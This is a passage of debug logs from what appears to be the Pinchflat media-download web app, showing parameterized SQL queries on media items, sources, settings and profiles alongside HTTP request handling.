"media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 08:25:14.486 [debug] QUERY OK source="media_items" db=4.9ms idle=9.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 08:25:14.488 [debug] QUERY OK source="sources" db=0.3ms idle=16.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:25:14.489 [debug] QUERY OK source="media_items" db=0.4ms idle=15.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 08:25:14.491 [debug] QUERY OK source="media_items" db=1.7ms idle=14.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 08:25:14.493 [debug] QUERY OK source="sources" db=0.2ms idle=12.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:25:14.494 [debug] QUERY OK source="media_items" db=1.0ms idle=7.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 08:25:14.498 [debug] QUERY OK source="media_items" db=3.0ms idle=6.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 08:25:14.501 [info] Sent 200 in 132ms 08:25:38.824 [info] {"source":"oban","duration":1726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:44.210 [info] GET /sources/1/media/20219 08:25:44.210 [info] GET /sources/1/media/4 08:25:44.210 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "20219", "source_id" => "1"} Pipelines: [:browser] 08:25:44.210 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "4", "source_id" => "1"} Pipelines: [:browser] 08:25:44.212 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=1527.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [20219] 08:25:44.212 [debug] QUERY OK source="media_items" db=1.3ms idle=938.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4] 08:25:44.213 [debug] QUERY OK source="tasks" db=0.7ms idle=529.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [20219] 08:25:44.213 [debug] QUERY OK source="tasks" db=0.8ms idle=529.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [4] 08:25:44.214 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=529.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:25:44.214 [debug] QUERY OK source="sources" db=1.6ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:25:44.216 [debug] QUERY OK source="settings" db=0.6ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:44.217 [debug] QUERY OK source="oban_jobs" db=1.4ms idle=3.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2440, 2445, 2450, 2455, 2460, 2473, 2480, 2488, 2493, 2498, 2503, 2508, 2516, 2522, 2531, 2537, 2543, 2549, 2558, 2567, 2574, 2583, 2590, 2598, 2604, 2610, 2618, 2624, 2634] 08:25:44.217 [debug] QUERY OK source="settings" db=1.0ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:44.218 [debug] QUERY OK source="settings" db=0.2ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:44.219 [debug] QUERY OK source="settings" db=0.2ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:44.220 [debug] QUERY OK source="settings" db=0.2ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:44.220 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:25:44.221 [debug] QUERY OK source="settings" db=0.3ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:44.222 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:25:44.223 [info] Sent 200 in 12ms 08:25:44.231 [info] Sent 200 in 21ms 08:25:44.437 [info] GET /sources/1/media/3 08:25:44.437 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3", "source_id" => "1"} Pipelines: [:browser] 08:25:44.438 [debug] QUERY OK source="media_items" db=0.3ms idle=217.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3] 08:25:44.439 [debug] QUERY OK source="tasks" db=0.3ms queue=0.1ms idle=218.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3] 08:25:44.439 [debug] QUERY OK source="sources" db=0.6ms idle=218.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:25:44.440 [debug] QUERY OK source="settings" db=0.2ms idle=218.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:44.441 [debug] QUERY OK source="settings" db=0.2ms idle=166.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:44.442 [debug] QUERY OK source="settings" db=0.2ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:44.443 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:25:44.446 [info] Sent 200 in 9ms 08:25:48.603 [info] GET /sources/1/media/12 08:25:48.604 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12", "source_id" => "1"} Pipelines: [:browser] 08:25:48.604 [info] GET /sources/1/media/5 08:25:48.604 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "5", "source_id" => "1"} Pipelines: [:browser] 08:25:48.605 [debug] QUERY OK source="media_items" db=0.6ms idle=921.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12] 08:25:48.605 [debug] QUERY OK source="media_items" db=0.5ms idle=921.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5] 08:25:48.606 [debug] QUERY OK source="tasks" db=0.4ms idle=922.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12] 08:25:48.606 [debug] QUERY OK source="sources" db=0.7ms idle=922.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:25:48.606 [debug] QUERY OK source="tasks" db=0.2ms idle=324.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [5] 08:25:48.607 [debug] QUERY OK source="sources" db=0.6ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:25:48.607 [debug] QUERY OK source="settings" db=0.4ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:48.607 [debug] QUERY OK source="settings" db=0.2ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:48.608 [debug] QUERY OK source="settings" db=0.3ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:48.608 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:48.609 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:48.609 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:48.610 [debug] QUERY OK source="media_profiles" db=0.4ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:25:48.610 [debug] QUERY OK source="media_profiles" db=0.3ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:25:48.613 [info] Sent 200 in 9ms 08:25:48.613 [info] Sent 200 in 9ms 08:25:49.133 [info] GET /sources/1/media/10 08:25:49.134 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "10", "source_id" => "1"} Pipelines: [:browser] 08:25:49.134 [debug] QUERY OK source="media_items" db=0.3ms idle=526.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [10] 08:25:49.135 [debug] QUERY OK source="tasks" db=0.2ms idle=526.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [10] 08:25:49.135 [debug] QUERY OK source="sources" db=0.4ms idle=526.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:25:49.136 [debug] QUERY OK source="settings" db=0.2ms idle=525.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:49.136 [debug] QUERY OK source="settings" db=0.1ms idle=525.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:49.137 [debug] QUERY OK source="settings" db=0.2ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:49.138 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", 